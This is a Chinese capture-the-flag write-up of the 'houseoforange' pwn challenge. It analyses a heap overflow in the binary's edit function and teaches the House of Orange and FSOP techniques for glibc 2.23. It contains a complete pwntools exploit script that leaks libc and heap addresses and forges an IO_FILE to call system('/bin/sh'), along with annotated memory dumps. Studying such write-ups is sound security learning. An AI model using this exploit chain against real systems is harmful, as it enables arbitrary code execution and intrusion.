houseoforange
1 2 3 4 5 6 7 8 9 10 ➜ [/home/ywhkkx/桌面] ./houseoforange +++++++++++++++++++++++++++++++++++++ @ House of Orange @ +++++++++++++++++++++++++++++++++++++ 1. Build the house 2. See the house 3. Upgrade the house 4. Give up +++++++++++++++++++++++++++++++++++++ Your choice :
1 2 3 4 5 6 7 8 9 houseoforange: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 2.6 .32 , BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped [*] '/home/ywhkkx/桌面/houseoforange' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
64位,dynamically,全开
1 GNU C Library (Ubuntu GLIBC 2.23 -0u buntu3) stable release version
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 void edit () { struct ORANGE *org ; unsigned int size; int v2; if ( upgrade_cnt <= 2u ) { if ( g_house ) { printf ("Length of name :" ); size = get_int(); if ( size > 0x1000 ) size = 4096 ; printf ("Name:" ); read_n(g_house->name, size); printf ("Price of Orange: " ); org = g_house->org; org->price = get_int(); color_menu(); printf ("Color of Orange: " ); v2 = get_int(); if ( v2 != 56746 && (v2 <= 0 || v2 > 7 ) ) { puts ("No such color" ); exit (1 ); } if ( v2 == 56746 ) g_house->org->color = 56746 ; else g_house->org->color = v2 + 30 ; ++upgrade_cnt; puts ("Finish" ); } else { puts ("No such house !" ); } } else { puts ("You can't upgrade more" ); } }
修改模块的“size”可以执行控制,导致了严重的堆溢出
入侵思路
本程序没有释放模块,传统的入侵都失效了
本题目是 house of orange 的开山之作,学习本题目也就是为了学习 house of orange 和 FSOP,先挂上大佬的 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *from LibcSearcher import *r = process("./houseoforange" ) elf = ELF("./houseoforange" ) libc = ELF('./libc-2.23.so' ) def add (size, content, price, color ): r.recvuntil("Your choice : " ) r.sendline('1' ) r.recvuntil("Length of name :" ) r.sendline(str (size)) r.recvuntil("Name :" ) r.send(content) r.recvuntil("Price of Orange:" ) r.sendline(str (price)) r.recvuntil("Color of Orange:" ) r.sendline(str (color)) def show (): r.recvuntil("Your choice : " ) r.sendline('2' ) def edit (size, content, price, color ): r.recvuntil("Your choice : " ) r.sendline('3' ) r.recvuntil("Length of name :" ) r.sendline(str (size)) r.recvuntil("Name:" ) r.send(content) r.recvuntil("Price of Orange:" ) r.sendline(str (price)) r.recvuntil("Color of Orange:" ) r.sendline(str (color)) add(0x30 ,'aaaa\n' ,0x1234 ,0xddaa ) payload = 'a' * 0x30 + p64(0 ) * 5 + p64(0xf81 ) edit(len (payload), payload, 0x1234 , 0xddaa ) add(0x1000 , 'a\n' ,0x1234 , 0xddaa ) add(0x400 , 'a' * 8 , 0x1234 , 0xddaa ) show() r.recvuntil('a' *8 ) malloc_hook = u64(r.recvuntil('\x7f' ).ljust(8 , '\x00' )) - 0x668 - 0x10 success('malloc_hook = ' +hex (malloc_hook)) libc.address = malloc_hook - libc.symbols['__malloc_hook' ] io_list_all = libc.symbols['_IO_list_all' ] system = libc.symbols['system' ] payload = 'b' * 0x10 edit(0x10 , payload, 0x1234 , 0xddaa ) show() r.recvuntil('b' *0x10 ) heap = u64(r.recvuntil('\n' ).strip().ljust(8 , '\x00' )) heap_base = heap - 0xE0 success('heap = ' +hex (heap)) payload = 'a' * 0x400 + p64(0 ) + p64(0x21 ) + p64(0 )*2 fake_file = '/bin/sh\x00' +p64(0x61 ) fake_file += p64(0 )+p64(io_list_all-0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file = fake_file.ljust(0xc0 ,'\x00' ) fake_file += p64(0 ) * 3 fake_file += p64(heap_base+0x5E8 ) fake_file += p64(0 ) * 2 fake_file += p64(system) payload += fake_file edit(len (payload), payload, 0x1234 , 0xddaa ) r.recvuntil("Your choice : " ) r.sendline('1' ) r.interactive()
接下来就借这个 exp 来学习 house of orange 和 FSOP
1 2 3 4 5 add(0x30 ,'aaaa\n' ,0x1234 ,0xddaa ) payload = 'a' * 0x30 + p64(0 ) * 5 + p64(0xf81 ) edit(len (payload), payload, 0x1234 , 0xddaa ) add(0x1000 , 'a\n' ,0x1234 , 0xddaa )
函数 add 的后两个参数是凑数的,不用考虑,这里就是为了 unsortedbin
1 2 unsortedbin all: 0x55ac5249a0c0 —▸ 0x7fa36d3deb78 (main_arena+88 ) ◂— 0x55ac5249a0c0
泄露 libc_base 的过程没有什么好说的:
1 2 3 4 5 6 7 8 9 10 add(0x400 , 'a' * 8 , 0x1234 , 0xddaa ) pause() show() r.recvuntil('a' *8 ) malloc_hook = u64(r.recvuntil('\x7f' ).ljust(8 , '\x00' )) - 0x668 - 0x10 success('malloc_hook = ' +hex (malloc_hook)) libc.address = malloc_hook - libc.symbols['__malloc_hook' ] io_list_all = libc.symbols['_IO_list_all' ] system = libc.symbols['system' ]
1 2 3 0x55cc39c6a0e0 : 0x0000000000000000 0x0000000000000411 0x55cc39c6a0f0 : 0x6161616161616161 0x00007ff3f687e188 0x55cc39c6a100 : 0x000055cc39c6a0e0 0x000055cc39c6a0e0
可以通过泄露 large chunk->FD_nextsize 来泄露 heap_addr:
1 2 3 4 5 6 7 8 payload = 'b' * 0x10 edit(0x10 , payload, 0x1234 , 0xddaa ) show() r.recvuntil('b' *0x10 ) heap = u64(r.recvuntil('\n' ).strip().ljust(8 , '\x00' )) heap_base = heap - 0xE0 success('heap = ' +hex (heap))
所以 leak 已经完成,最后就是FSOP了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 payload = 'a' * 0x400 + p64(0 )*4 fake_file = '/bin/sh\x00' +p64(0x61 ) fake_file += p64(0 )+p64(io_list_all-0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file = fake_file.ljust(0xc0 ,'\x00' ) fake_file += p64(0 ) * 3 fake_file += p64(heap_base+0x5E8 ) fake_file += p64(0 ) * 2 fake_file += p64(system) payload += fake_file pause() edit(len (payload), payload, 0x1234 , 0xddaa ) r.recvuntil("Your choice : " ) r.sendline('1' )
这一大串的伪造让人摸不着头脑,但却可以达成目的(有点像SROP)
修改模块覆盖前:
1 2 3 4 0x55e7fa48d4f0 : 0x0000000000000000 0x0000000000000021 0x55e7fa48d500 : 0x0000ddaa00001234 0x0000000000000000 0x55e7fa48d510 : 0x0000000000000000 0x0000000000000ad1 0x55e7fa48d520 : 0x00007fd8c195bb78 0x00007fd8c195bb78
1 2 unsortedbin all: 0x55e7fa48d510 —▸ 0x7fd8c195bb78 (main_arena+88 ) ◂— 0x55e7fa48d510
修改模块覆盖后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 0x55e7fa48d4e0 : 0x6161616161616161 0x6161616161616161 0x55e7fa48d4f0 : 0x0000000000000000 0x0000000000000021 0x55e7fa48d500 : 0x0000ddaa00001234 0x0000000000000000 0x55e7fa48d510 : 0x0068732f6e69622f 0x0000000000000061 0x55e7fa48d520 : 0x0000000000000000 0x00007fd8c195c510 0x55e7fa48d530 : 0x0000000000000000 0x0000000000000001 0x55e7fa48d540 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d550 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d560 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d570 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d580 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d590 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d5a0 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d5b0 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d5c0 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d5d0 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d5e0 : 0x0000000000000000 0x000055e7fa48d5e8 0x55e7fa48d5f0 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d600 : 0x00007fd8c15dd380 0x0000000000000000 0x55e7fa48d610 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d620 : 0x0000000000000000 0x0000000000000000 0x55e7fa48d630 : 0x0000000000000000 0x0000000000000000
现在简单解释一下程序为什么会调用 overflow:(这是FSOP的内容)
因为我们修改了 unsortedbin 的结构,使其不合法了,导致程序触发异常并执行“malloc_printerr”,从而调用了 _IO_flush_all_lockp
,最后调用 _IO_OVERFLOW
(虚表调用,但虚表已被伪造)
house of orange 小结(2.23-64位)
house of orange 真的是特别精妙的漏洞利用,这里简述一下它的过程
利用堆溢出修改 top chunk->size 为“0xf81”
申请一个较大的 chunk,把 top chunk 放入unsortedbin
申请“0x400”进行泄露
再次溢出,修改 unsorted chunk->size 为“0x60”,在遍历 unsortedbin 之时可以被放入 smallbin
利用 unsortedbin attack 向 IO_list_all 中写入 main_arena+88(被当成一个IO_FILE结构体)
在大小为“0x60”的 smallbin 中伪造IO_FILE结构体,劫持虚表到可控区域
在 _IO_OVERFLOW
的位置写入“system”